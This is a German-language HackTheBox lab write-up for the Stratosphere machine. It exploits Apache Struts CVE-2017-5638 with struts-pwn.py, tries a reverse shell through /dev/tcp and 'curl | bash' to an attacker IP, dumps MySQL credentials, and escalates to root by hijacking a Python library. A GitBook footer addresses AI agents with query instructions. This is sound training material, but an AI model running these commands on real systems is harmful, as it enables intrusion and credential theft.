> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md). # Stratosphere-HackTheBox-Lösung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Ausnutzung von Apache Struts (CVE-2017-5638) * Übernahme von Python-Bibliotheken (Privilegieneskalation) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts ```

**Analyse offener Ports mit ExtractPorts (**22.80.8080**)** Verwendung der extractPorts-Funktion, um offene Ports in kompakter Form anzuzeigen und sie in die Zwischenablage zu kopieren.

**Port- und Versionsscan mit Nmap:** Nmap verwenden, um die Version der Ports zu scannen und Informationen in der Datei „targeted“ zu extrahieren ```bash nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted ```

### /*/Erkundung von Webdiensten (Ports 80 und 8080) //* Die Ports 80 und 8080 hosten dieselbe Website.

### Fuzzing mit **Gobuster** Wir starten `Gobuster` um nach interessanten Verzeichnissen zu suchen {% code overflow="wrap" %} ```bash gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` {% endcode %} Wir entdecken die folgenden Pfade: * `/manager` - Tomcat-Manager-Oberfläche * `/monitoring` - Überwachungsbereich

### Manager - Tomcat :

### Überwachung:

## Ausnutzung von Apache Struts (CVE-2017-5638) #### **Erkundung des Monitoring-Verzeichnisses** Beim Versuch, sich zu registrieren, erhalten wir eine Fehlermeldung. Wir beobachten außerdem eine Erweiterung `.action`, was möglicherweise auf eine auf Apache Struts basierende Anwendung hinweist

{% embed url="" %} Wir verwenden `struts-pwn.py` um die Remote-Befehlsausführung zu testen: ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id' ``` Der Befehl funktioniert und bestätigt die Schwachstelle.

#### **Umgekehrte Shell** 1. Abhören mit Netcat: ```bash nc -nvlp 443 ``` 2. Erstellen eines `index.html` Datei mit unserer Reverse Shell: ``` #!/bin/bash bash -i >& /dev/tcp/10.10.14.69/443 0>&1 ``` 3. Die Datei mit einem Python-Webserver hosten: ``` python3 -m http.server 8080 ``` 4. Die Reverse Shell über den Exploit ausführen: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash' ``` {% endcode %} Leider schlägt dieser Ansatz fehl. ### **Extraktion sensibler Informationen** Wir listen die Dateien auf dem Server auf:

Wir entdecken eine `db_connect` Datei. Durch deren Anzeige erhalten wir Zugangsdaten: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l' ``` {% endcode %}

Die aus den MySQL-Zugangsdaten gewonnenen Informationen: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect' ``` {% endcode %} * user: ssn/\_admin / admin * pass=AWs64\@on/\*& / admin

### Extraktionsinformationen - mysqlshow #### **Aufzählung der Datenbanken** Wir verwenden `mysqlshow` um die mit dem Benutzer zugänglichen Datenbanken aufzulisten `admin` durch Ausnutzung einer Struts-Schwachstelle über `struts-pwn.py`: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin" ``` {% endcode %}

Dies ermöglicht es uns, die Datenbank zu identifizieren **users**. #### **Zusammenfassung der Tabellen** Dann listen wir die Tabellen der Datenbank auf **users**: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users ``` {% endcode %}

#### **Aufzählung der Spalten und Extraktion der Zugangsdaten** Wir listen nun die Spalten der Tabelle auf **accounts** und versuchen, ihren Inhalt zu extrahieren {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts" ``` {% endcode %}

Wir erhalten die folgenden Informationen: * **Benutzername**: `richard` * **Passwort**: `9tc*rhKuG5TyXvUJOrE^5CK7k` {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users' ``` {% endcode %}

Wir verwenden die gefundenen Informationen, um per SSH auf die Zielmaschine zuzugreifen: ```bash ssh richard@10.10.10.64 ```

### Flagge user.txt :)

## Privilegieneskalation ### Privilegieneskalation durch Hijacking von Python-Bibliotheken Zuerst führst du den folgenden Befehl aus, um die `sudo` Rechte aufzulisten:

Wir stellen fest, dass wir die Berechtigung haben, ein Python-Skript als `root`: ```bash (ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py ```

Durch Analyse des `/home/richard/test.py` Skripts stellt man fest, dass es ein Modul importiert, ohne den absoluten Pfad anzugeben, zum Beispiel: ``` import os os.system("bash") ``` Dann führen wir das Skript als `root`: ```bash sudo /usr/bin/python3.7 /home/richard/test.py ``` * Sobald das Skript gestartet wird, wird unsere schädliche Version von `hashlib.py` geladen und startet eine Shell mit `root` Rechten.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.